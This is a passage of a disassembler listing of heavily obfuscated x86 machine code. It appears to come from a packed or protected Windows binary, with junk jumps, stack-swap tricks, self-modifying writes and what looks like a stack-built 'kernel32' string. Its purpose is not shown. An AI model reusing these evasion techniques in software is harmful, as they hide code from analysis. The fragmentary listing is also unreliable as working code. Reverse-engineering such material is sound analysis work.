		dd 1121h, 58240487h, 980C6857h,	0D7E90048h, 0Eh, 9E870F00h
		dd 0F000043h, 2A7E87h, 3924E900h, 0F000000h, 186E89h, 243C8700h
		dd 240C875Fh, 0F9D86859h, 815F546Fh, 8D2EEFCFh,	2112E987h
		dd 84D30000h, 16Fh, 58F64h, 0E9000000h,	29F3h, 88726800h
		dd 4DE90048h, 3Eh, 0E9F83B00h, 0F8h
; ---------------------------------------------------------------------------

loc_487A50:				; CODE XREF: dy9cvewz:00487D5Ej
		xchg	edx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_487A52	proc near		; CODE XREF: sub_48AFE5:loc_4891C4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004896B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B191 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0048B466 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C684 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [ecx],	9Dh
		xchg	eax, [esp-4+arg_0]
		mov	ecx, eax
		jmp	loc_48B466
sub_487A52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48A095

loc_487A64:				; CODE XREF: sub_48A095:loc_487FA9j
		add	ecx, 937DDBF1h
		popf

loc_487A6B:				; DATA XREF: sub_487CB5+3EDFo
		mov	ecx, [ecx]
		pushf
		push	7CBE95DDh
		pop	edx
		rol	edx, 2
		jmp	loc_48C4C0
; END OF FUNCTION CHUNK	FOR sub_48A095
; ---------------------------------------------------------------------------
		xchg	edx, [esp]
		pop	edx
		push	edx
		mov	edx, offset loc_48C98A
		jmp	loc_48C330
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 28h,	2, 61h
		dd 240C871Ah, 873F8B59h, 0ECE9243Ch, 0FFFFFCh, 5BC32A00h
		dd 0F5840Fh, 8F640000h,	5, 4C48300h, 0B5F0B951h, 75E90048h
		dd 46h,	243C879Dh, 150BE9h, 2463E900h, 0F000000h, 0FFFF6884h
		dd 0C57468FFh, 8DE90048h, 5900000Ch, 449AC081h,	0C88182A3h
		dd 22B13483h, 0B44EF881h, 0AEE9A8CBh, 8100003Fh, 0E91BDDC0h
		dd 58F03B0Bh, 11A2E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_487B07:				; DATA XREF: sub_48CB1E+4o
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFD7FE9h, 0FF6400FFh, 35h,	0D1815100h, 0BB10C969h
					; CODE XREF: dy9cvewz:004888BDj
		dd 1237E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C782

loc_487B26:				; CODE XREF: sub_48C782+Aj
		mov	esi, ecx

loc_487B28:				; DATA XREF: sub_48C84D-354Ao
		xchg	esi, [esp+0]
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+4+var_4]
		push	6F49B1Eh
		pop	ecx
		jmp	loc_487E7E
; END OF FUNCTION CHUNK	FOR sub_48C782
; ---------------------------------------------------------------------------
		dd 98680000h, 0E90048ACh, 27ECh, 158C820Fh, 14870000h
		dd 0BB5E5A24h, 488E40h,	42CDE9h, 815E0000h, 0C7DAA9F6h
		dd 65CE811Ch, 8141A05Dh, 8F9ABAEEh, 0D78B5224h,	0E9241487h
		dd 196h, 3D8D0F00h, 85000025h, 20ECE9D8h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_526. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_487B90:				; DATA XREF: sub_48AD5E-7Co
		xchg	ebx, [esp]
		jmp	loc_48C925
; ---------------------------------------------------------------------------
		dd 3562E900h, 0E8000000h, 3562h, 0A35CF881h, 0F1E95522h
		dd 2BFFFFFAh, 811987DDh, 5B24DAEEh, 8E786873h, 0FE90048h
		dd 7, 0C729E381h, 0CB81B32Ch, 4E8E0B93h, 820FC3D1h, 1A72h
		dd 0F5E90000h, 68000013h, 0EBBA0D92h, 10E5E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_487BEA:				; CODE XREF: dy9cvewz:loc_488A26j
		mov	byte ptr [ecx],	57h
		pop	ecx
		rol	esi, 8
		sub	esi, 9063B232h
		add	esi, 8C8AF0DCh
		mov	esi, [esi]
		jmp	loc_48AC69
; ---------------------------------------------------------------------------
		dd 0C30000h, 28E9C300h,	21h, 3568840Fh,	72680000h, 0E90048AAh
					; CODE XREF: dy9cvewz:loc_4897E3j
		dd 1EEBh
; ---------------------------------------------------------------------------

locret_487C20:				; CODE XREF: dy9cvewz:loc_48A24Dj
		retn
; ---------------------------------------------------------------------------
		align 2

loc_487C22:				; CODE XREF: dy9cvewz:0048C7D4j
		jmp	loc_489403
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_487C28:				; CODE XREF: sub_488FD4+12C6j
		jmp	loc_48AADC
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_487C2D:				; CODE XREF: sub_48BB9F-29FEj
		jmp	loc_48A197
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0F708Ah, 2C8C100h

; =============== S U B	R O U T	I N E =======================================



sub_487C3C	proc near		; CODE XREF: dy9cvewz:00488B26p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00489F69 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	esi, 6EB46h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_489F69
sub_487C3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8D00h
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_531
		jmp	loc_4887AE
; ---------------------------------------------------------------------------
		dw 840Fh
		dd 2B86h
		db 0
; ---------------------------------------------------------------------------

loc_487C61:				; CODE XREF: dy9cvewz:loc_4880EBj
		jmp	locret_488C33
; ---------------------------------------------------------------------------
		align 4
		not	edi
		test	ecx, eax
		jmp	loc_48A7DA
; ---------------------------------------------------------------------------
		align 2
		shr	eax, 14h
		jz	loc_488C1D
		and	ecx, 0CA540742h
		test	esi, 79BA20B8h
		jmp	loc_488883
; ---------------------------------------------------------------------------
		dd 0F0810000h, 0E283754Ch, 11E8C503h, 23h
; ---------------------------------------------------------------------------

loc_487C9C:				; CODE XREF: dy9cvewz:004876ECj
		jmp	locret_48BB3A
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	3
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		push	4876BCh
		jmp	locret_488CA1
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_487CB5	proc near		; CODE XREF: sub_4899DF+BE8p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00488ECD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00489091 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489989 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0048A4C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048A8AA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048AC2F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0048B243 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048B8EF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048BB92 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0048BDBD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0048C701 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		or	edx, edx
		jz	loc_48B8EF
		jmp	loc_48A4C7
sub_487CB5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_436. PRESS KEYPAD	"+" TO EXPAND]
		align 2

loc_487CCA:				; DATA XREF: sub_48AD01:loc_48BE72o
		pushf
		push	0F67D4556h
		xchg	ebp, [esp]
		mov	eax, ebp
		jmp	loc_48C4A2
; ---------------------------------------------------------------------------
		dw 0F00h		; CODE XREF: dy9cvewz:loc_48B253j
		dd 0BA885h, 0FF8CE900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_487CE7:				; CODE XREF: dy9cvewz:0048C298j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_487CEA:				; CODE XREF: dy9cvewz:0048BA4Cj
		jmp	loc_487EA1
; ---------------------------------------------------------------------------
		jmp	locret_48BCBC
; ---------------------------------------------------------------------------

loc_487CF4:				; CODE XREF: dy9cvewz:0048C2ABj
		mov	ecx, [esp+10h]
		push	offset loc_488D9D
		jmp	locret_488E03
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 0C08114C0h, 7DE315FEh, 20F9E9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_549. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_48B0A8
; ---------------------------------------------------------------------------
		align 4
		dd 0E900C300h, 3B73h, 0FE18E900h, 0FFFFh, 9BB9689Ch, 0E1E90048h
					; CODE XREF: dy9cvewz:0048B0C2j
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487E6B

loc_487D33:				; CODE XREF: sub_487E6B:loc_489CA4j
		sub	esi, 643A385Bh
		add	esi, 2764F0DAh
		push	offset loc_48B2B1
		jmp	loc_488A1F
; END OF FUNCTION CHUNK	FOR sub_487E6B
; ---------------------------------------------------------------------------
		align 2
		popf
		adc	edi, 586C42D6h
		jmp	sub_489481
; ---------------------------------------------------------------------------
		align 4
		jz	loc_48B069
		jmp	loc_487A50
; ---------------------------------------------------------------------------
		align 4
		dd 3B870F00h, 0E9000006h, 3103h, 434DE8h, 0E9000000h, 38D6h
		dd 32BEE900h, 68000000h, 488F26h, 0F26E9h, 58000000h, 4AE8815Dh
		dd 519287C1h, 284FE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489347

loc_487D9E:				; CODE XREF: sub_489347:loc_4894E6j
		mov	eax, offset byte_48C513
		jmp	loc_48C63F
; END OF FUNCTION CHUNK	FOR sub_489347
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_432. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h
		dd 1989h
		db 2 dup(0)
byte_487DB2	db 90h			; DATA XREF: sub_487CB5+3C3Fo
; ---------------------------------------------------------------------------
		call	sub_48CB6C
		mov	ds:byte_48A44E,	0Fh
		mov	byte ptr ds:word_48742E, 0E8h
		mov	ds:byte_48BFE4,	87h
		mov	ds:byte_48BFE7,	58h
		mov	ds:byte_48BFE8,	0E8h
		mov	ds:byte_48A580,	87h
		jmp	locret_48B89B
; ---------------------------------------------------------------------------
		align 4
		mov	ebx, edi
		jmp	sub_48A5F3
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0]
		jmp	sub_48CA79
; ---------------------------------------------------------------------------
		db  87h	; ‡
		db  3Ch	; <
		db  24h	; $
		db  5Fh	; _
		db  87h	; ‡
		db  2Ch	; ,
		db  24h	; $
		db  8Bh	; ‹
		db 0C5h	; Å
		db  5Dh	; ]
		db  81h	; 
		db 0E8h	; è
		db  64h	; d
		db  8Ah	; Š
		db 0CEh	; Î
		db  48h	; H
		db  81h	; 
		db 0F0h	; ð
		db  40h	; @
		db  35h	; 5
		db 0ACh	; ¬
		db  3Dh	; =
		db 0F7h	; ÷
		db 0C0h	; À
		db    0
		db  10h
		db    0
		db    0
		db 0E9h	; é
		db  41h	; A
		db    5
		db    0
		db    0
		dd 0C30000h, 0C3240C87h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B011

loc_487E22:				; CODE XREF: sub_48B011-1BBDj
		jmp	loc_48A078
; END OF FUNCTION CHUNK	FOR sub_48B011
; ---------------------------------------------------------------------------
		mov	edx, [eax]
		push	esi
		push	offset word_48B47A
		jmp	loc_48C3EF
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_487E35:				; CODE XREF: sub_48BE85+5j
		push	904522BDh
		pop	ecx
		sub	ecx, 0DAB5179Bh
		and	ecx, 0CA99B414h
		add	ecx, 91AFD921h
		add	ecx, ebp
		add	ecx, 0EDC026DBh
		mov	[ecx], eax
		jmp	loc_48B286
; END OF FUNCTION CHUNK	FOR sub_48BE85
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_487E5E:				; DATA XREF: sub_4899DF+Do
		or	edx, edx
		jz	loc_48B8EF
		jmp	loc_48B253

; =============== S U B	R O U T	I N E =======================================



sub_487E6B	proc near		; CODE XREF: dy9cvewz:00489AB7p

; FUNCTION CHUNK AT 00487463 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00487D33 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0048844F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00488A1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489790 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00489CA4 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		xchg	ebx, [esp+0]
		mov	esi, ebx
		pop	ebx
		call	sub_488FD4
		jmp	loc_48844F
sub_487E6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C782

loc_487E7E:				; CODE XREF: sub_48C782-4C4Bj
		add	ecx, 19509EC5h
		and	ecx, 0BF0565D7h
		rol	ecx, 13h
		add	ecx, 0ACB374F9h
		add	ecx, ebp
		push	offset loc_489AFE
		jmp	nullsub_534
; END OF FUNCTION CHUNK	FOR sub_48C782
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------

loc_487EA1:				; CODE XREF: dy9cvewz:loc_487CEAj
		jge	loc_4893A3
; ---------------------------------------------------------------------------
		db 0
		dd 36FFE900h, 0C1000000h, 0D68111E7h, 4D87F101h, 5728C6F7h
		dd 0D1E93C78h, 14h, 0C30000C3h
; ---------------------------------------------------------------------------

loc_487EC8:				; CODE XREF: dy9cvewz:0048780Fj
		jmp	loc_48966A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_487ECF:				; CODE XREF: sub_48AE49:loc_48A2CDj
		rol	edi, 0Fh

loc_487ED2:				; DATA XREF: dviuq5id:004442B1o
		add	edi, 553ED4C4h
		call	sub_48A393
		add	cl, ch		; CODE XREF: sub_488652+Aj
		or	edx, [edx]
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		pop	ecx
		xchg	eax, [esp]
		mov	ecx, eax
		xchg	ebp, [esp]
		mov	eax, ebp
		pop	ebp
		jmp	loc_48BD93
; ---------------------------------------------------------------------------
		dd 0E8243487h, 3F62h, 0F0815B00h, 0E1271E93h, 10C7E8h
		dd 10B2E800h, 0E8000000h, 16E9h, 870F02C6h, 0D18B240Ch
		dd 0FA5BE959h, 0FFFFh, 0AA8C6853h, 93E90048h, 23000045h
		dd 11C7C1E9h, 0FFFFA7E9h, 87C38BFFh, 0B0BB2404h, 0E90048BDh
		dd 1104h, 628E0F00h, 8700003Ah,	815A2414h, 0DF101EC7h
		dd 0FDBFE9B6h, 0F00FFFFh, 33AC8Ch, 0E1810000h, 0F8D4F75Bh
		dd 20F5E9h, 241C8700h, 0E8008B5Bh, 10C4h, 2BE06852h, 815A4316h
		dd 0F9204FC2h, 0B6F28139h, 81A51C89h, 87A1CAEAh, 1C3FE944h
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_546. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h	; CODE XREF: dy9cvewz:0048A343j
		dd 1680h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A095

loc_487FA9:				; CODE XREF: sub_48A095+9j
		jmp	loc_487A64
; END OF FUNCTION CHUNK	FOR sub_48A095
; ---------------------------------------------------------------------------
		align 10h
		dd offset sub_48CCD5
		dd 2355E900h, 0		; CODE XREF: sub_48C17D-117j
		dd 116h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_487FC1:				; CODE XREF: sub_48BB9F+134j
		jmp	nullsub_539
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 4
		jb	short loc_48800A
		add	cl, [esi+0]

loc_487FCD:				; CODE XREF: dy9cvewz:004889FCj
		jmp	sub_488FD4
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_487FD3:				; CODE XREF: sub_48AD01:loc_4897DDj
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		or	ebx, edx
		jmp	loc_48B84A
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 2

loc_487FE2:				; CODE XREF: dy9cvewz:0048C1FCj
		popf
		xchg	eax, [esp]
		jmp	sub_488FD4
; ---------------------------------------------------------------------------
		align 4
		dd 873A6800h, 5CE90048h, 0Ah, 7E850F00h, 0F000013h, 0DEA87h
		dd 1948E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48800A:				; CODE XREF: dy9cvewz:00487FC8j
					; DATA XREF: dy9cvewz:00487857o
		add	[edi+3E9241Ch],	al
; ---------------------------------------------------------------------------
		dd 0
		dd 0B8E8C300h, 45h, 1035E900h, 87000000h, 241C87F1h, 0E9595D5Bh
					; CODE XREF: dy9cvewz:loc_48956Aj
		dd 923h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_488031:				; CODE XREF: sub_48AFE5:loc_48A026j
		mov	byte ptr [eax],	87h
		pop	eax
		call	sub_48BB00
		add	cl, ch		; CODE XREF: dy9cvewz:0048C966j
		cmp	[ecx+0], ecx
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------
		db 0
		dd 74680000h, 5E7CC3D2h, 811DC6C1h, 0E68962E6h,	0A3C681F4h
		dd 9D7BC8A3h, 1373E9h, 3302C600h, 8B240487h, 7C658D0h
		dd 45C75F89h, 72656BE8h, 0EC45C76Eh, 32336C65h,	3EB6E9h
		db 0
; ---------------------------------------------------------------------------

locret_48807D:				; CODE XREF: dy9cvewz:004874C9j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_489019
; ---------------------------------------------------------------------------
		align 4

loc_488084:				; DATA XREF: dy9cvewz:004874C4o
		push	ecx
		push	326E8F2Ah
		pop	ecx
		and	ecx, 0FE1C6755h
		add	ecx, 0CE3CB06Bh
		jmp	loc_48A368
; ---------------------------------------------------------------------------

loc_48809C:				; CODE XREF: dy9cvewz:0048B64Cj
		xchg	esi, [esp]
		pop	esi
		push	3D9D2EB6h
		pop	edi
		and	edi, 9029FD85h
		cmp	edi, 361849D2h
		jmp	loc_48A7FB
; ---------------------------------------------------------------------------
		align 4
		dd 25BBE800h, 87000000h, 4872434h, 58F08B24h, 8F60F068h
		dd 0E7E95893h, 0F00000Eh, 2B9D80h, 384E900h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		push	offset loc_488C3C

loc_4880EB:				; CODE XREF: dy9cvewz:0048AEAEj
		jmp	loc_487C61
; ---------------------------------------------------------------------------
		dd 87240C87h, 0CA8B2414h, 0A5C2815Ah
		db 8, 58h, 0B6h
byte_4880FF	db 3			; DATA XREF: sub_489347+Co
		dd 0D4C281D0h, 0E9A4385Dh, 0FFFFF5AAh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A095

loc_48810E:				; CODE XREF: sub_48A095:loc_48B165j
		popf
		xor	eax, eax
		cld
; END OF FUNCTION CHUNK	FOR sub_48A095
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_488112:				; CODE XREF: sub_48B837:loc_48B54Dj
					; sub_48BB9F:loc_48BBB0j
		js	loc_4890E3
		jmp	loc_48A20C
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		db 0E8h, 9, 25h
		dd 0DCE90000h, 0FFFFFBh, 241C8700h, 815BCB8Bh, 8879D1C0h
		dd 2D6E902h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C8EE

loc_48813C:				; CODE XREF: sub_48C8EE:loc_4888ECj
		push	offset loc_48863C
		jmp	loc_48CA64
; END OF FUNCTION CHUNK	FOR sub_48C8EE
; ---------------------------------------------------------------------------

loc_488146:				; CODE XREF: dy9cvewz:loc_48AA4Bj
		add	edi, 550442C7h
		add	edi, ecx
		push	ecx
		push	0DA72B981h
		pop	ecx
		add	ecx, 68D8054Dh
		sub	ecx, 11587C62h
		and	ecx, 0DEC9E44Fh
		jmp	loc_489720
; ---------------------------------------------------------------------------
		db 0
byte_48816D	db 87h,	1Ch, 24h	; DATA XREF: sub_488895+Ao
		db 0E9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4881E5

loc_488171:				; CODE XREF: sub_4881E5:loc_4881EBj
		xchg	eax, esp
		inc	ecx
; END OF FUNCTION CHUNK	FOR sub_4881E5
; ---------------------------------------------------------------------------
		db 0
		dd 0C300h, 1C8BE9h, 14D5E800h, 81000000h, 5F24D2F0h
; ---------------------------------------------------------------------------
		pushf

loc_488189:				; DATA XREF: dy9cvewz:00487847o
		add	eax, ebp
		add	eax, 98C39035h
		popf
		push	offset dword_48A518
		jmp	loc_489EC6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
		push	3218E11Dh
; START	OF FUNCTION CHUNK FOR sub_489481

loc_4881A3:				; CODE XREF: sub_489481+18A1j
		pop	ecx
		and	ecx, 11C6D830h
		rol	ecx, 3
		or	ecx, 4183175h
		rol	ecx, 9
		cmp	ecx, 2CE944D2h
		jmp	loc_48AA51
; END OF FUNCTION CHUNK	FOR sub_489481
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4881C3	proc near		; CODE XREF: dy9cvewz:0048A562j
					; dy9cvewz:0048A7EFp

; FUNCTION CHUNK AT 0048A205 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	ds:dword_45B0C0	; ExitProcess
		push	offset word_48B05A
		jmp	loc_48A205
sub_4881C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		xor	ebx, 0A05B290Bh
		jmp	loc_488966
; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4881E5	proc near		; CODE XREF: sub_48BB9F-4493p
					; sub_4898B7+BAEj

; FUNCTION CHUNK AT 00488171 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0048BE5C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		sub	eax, edx

loc_4881EB:				; DATA XREF: sub_48BB9F-730o
		jp	short loc_488171
		outsb
		add	cs:[eax], al
		push	offset loc_48991F
		jmp	loc_48BE5C
sub_4881E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

loc_4881FC:				; CODE XREF: dy9cvewz:00489383j
		xchg	edi, [esp]
		mov	ebp, edi
		pop	edi
		retn	0Ch
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_551. PRESS KEYPAD	"+" TO EXPAND]
		dd offset byte_489FD5
		dw 0FCE9h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48820F:				; CODE XREF: sub_48AD01+9A8j
		pop	ebx
		or	ebx, 0DE6A9667h
		xor	ebx, 9C9CF7FEh
		add	esi, ebx
		pop	ebx
		jmp	loc_48C80F
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_488224:				; CODE XREF: sub_488FD4:loc_488E05j
		pop	eax
		rol	eax, 1Ah
		add	eax, 66278392h
		or	eax, 0DACCA5C2h
		add	eax, 2048ACBDh
		jmp	loc_48A290
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		align 10h
		dd 0FA038A0Fh, 487FFFFh, 240C8724h, 0E959C18Bh,	2023h
		dd 14F38100h, 3C71B8Bh,	0ADE85BD3h, 1Bh, 46E1E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488E53

loc_48826A:				; CODE XREF: sub_488E53+Aj
		jmp	near ptr loc_48AAD0+1
; END OF FUNCTION CHUNK	FOR sub_488E53
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_488270:				; CODE XREF: sub_48899B-431j
		shr	edi, 0Fh
		test	ecx, ebx
		jmp	loc_488F38
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		dw 870Fh
		dd 0A91h, 88E6C381h, 65E97875h,	56FFFFFEh, 3487F18Bh, 8D03B924h
		dd 67E90048h, 40h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48829D	proc near		; CODE XREF: sub_48BB9F-448Bj
					; sub_48AD01-185p

; FUNCTION CHUNK AT 0048B1AA SIZE 00000009 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		mov	ecx, ebx
		jmp	loc_48B1AA
sub_48829D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		jg	loc_48B84A
		cmp	ecx, 6448B051h
		jmp	loc_4899D9
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_4882BD:				; CODE XREF: dy9cvewz:004875B2j
		pop	ebx
		xor	eax, 2B83378Ch
		rol	eax, 1Bh
		add	eax, 9F3510B9h
		call	sub_48B7E3
		jmp	locret_48C02C
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		jmp	loc_48B3CB
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFF9C886h, 8DDD81FFh, 53592413h, 8A5EC968h,	0E3815B16h
					; CODE XREF: dy9cvewz:0048C565j
		dd 0C96838BEh, 2146C381h, 17E976C9h, 3Dh, 7ACB8100h, 0E9364ACDh
		dd 23CAh, 3C870000h, 477AE924h,	0E9000000h, 1D0h, 7C106800h
		dd 8DE90048h, 14h, 0C0F7D613h, 998D74DDh, 1A45E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_488343:				; CODE XREF: dy9cvewz:loc_4883E7j
		jnz	loc_488F1B

loc_488349:				; CODE XREF: dy9cvewz:0048A0BAj
		jmp	loc_489521
; ---------------------------------------------------------------------------
		dw 8B00h
; ---------------------------------------------------------------------------
		push	ds
		jmp	loc_488F14
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_550. PRESS KEYPAD	"+" TO EXPAND]
		db 0E9h	; é
		db  16h
		db  1Ch
		db    0
		db    0
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48BA3A

loc_488360:				; CODE XREF: sub_48BA3A:loc_4894DFj
		jl	loc_488DB4
; END OF FUNCTION CHUNK	FOR sub_48BA3A
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		ror	ebp, 18h
		jmp	loc_488DB1
; ---------------------------------------------------------------------------
		dd 58B6400h, 30h, 0D9416857h, 815F7E80h, 9597B5E7h, 0BF7813Fh
		dd 0E9B96FAFh, 0FFFFF52Dh, 240C8700h, 44B4E9h, 51000000h
		dd 0C87CF8Bh, 0AB1EBF24h, 0A7E90048h, 19h, 1487C300h, 20E9C324h
		dd 0Ah,	0C0831024h, 24048704h, 0FFFAE4E9h, 0C30000FFh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B4EE

loc_4883C9:				; CODE XREF: sub_48B4EE+Ej
		jmp	nullsub_544
; END OF FUNCTION CHUNK	FOR sub_48B4EE
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 0FFFFF440h
		db 0
; ---------------------------------------------------------------------------

loc_4883D5:				; DATA XREF: sub_48739A+2o
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		mov	eax, offset nullsub_557
		jmp	loc_489D2C
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_540. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4883E7:				; CODE XREF: dy9cvewz:004893B5j
		jmp	loc_488343

; =============== S U B	R O U T	I N E =======================================



sub_4883EC	proc near		; CODE XREF: dy9cvewz:00488430p
					; dy9cvewz:00489A14j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0048B042 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	eax, [esp-4+arg_0]

loc_4883F3:				; CODE XREF: dy9cvewz:loc_48A1EBj
		jmp	loc_48B042
sub_4883EC	endp ; sp-analysis failed

